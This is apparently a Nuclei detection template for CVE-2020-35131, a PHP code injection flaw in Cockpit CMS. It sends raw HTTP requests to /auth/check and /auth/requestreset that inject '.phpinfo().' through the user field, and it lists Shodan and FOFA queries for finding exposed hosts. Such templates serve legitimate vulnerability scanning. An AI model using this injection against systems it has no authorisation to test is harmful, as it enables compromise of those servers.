Cockpit CMS 0.6.1 - Remote Code Execution

id: CVE-2020-35131

info:
  name: Cockpit CMS 0.6.1 - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    Cockpit before 0.6.1 allows an attacker to inject custom PHP code and achieve Remote Command Execution via registerCriteriaFunction in lib/MongoLite/Database.php, as demonstrated by values in JSON data to the /auth/check or /auth/requestreset URI.
  impact: |
    Unauthenticated attackers can inject custom PHP code to achieve remote command execution, leading to complete Cockpit CMS compromise.
  remediation: |
    Upgrade to Cockpit CMS version 0.6.1 or later.
  reference:
    - https://github.com/agentejo/cockpit/commits/next/lib/MongoLite/Database.php
    - https://github.com/agentejo/cockpit/releases/tag/0.6.1
    - https://www.exploit-db.com/exploits/49390
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35131
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35131
    cwe-id: CWE-94
    epss-score: 0.49938
    epss-percentile: 0.9876
    cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:*
  metadata:
    vendor: agentejo
    product: cockpit
    shodan-query: http.html:"cockpit"
    fofa-query: app="Cockpit"
    max-request: 2
    verified: true
  tags: cve,cve2020,rce,cockpit,vkev,vuln

variables:
  rand_user: '{{rand_text_alpha(5)}}'
  rand_password: '{{rand_text_alpha(5)}}'

http:
  - raw:
      - |
        POST /auth/check HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=UTF-8
        Origin: {{BaseURL}}

        {"auth":{"user":"{{rand_user}}'.phpinfo().'","password":"{{rand_password}}"}}

      - |
        POST /auth/requestreset HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=UTF-8
        Origin: {{BaseURL}}

        {"user":"{{rand_user}}'.phpinfo().'"}

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "cockpit"
          - "PHP Extension"
        condition: and

      - type: status
        status:
          - 200
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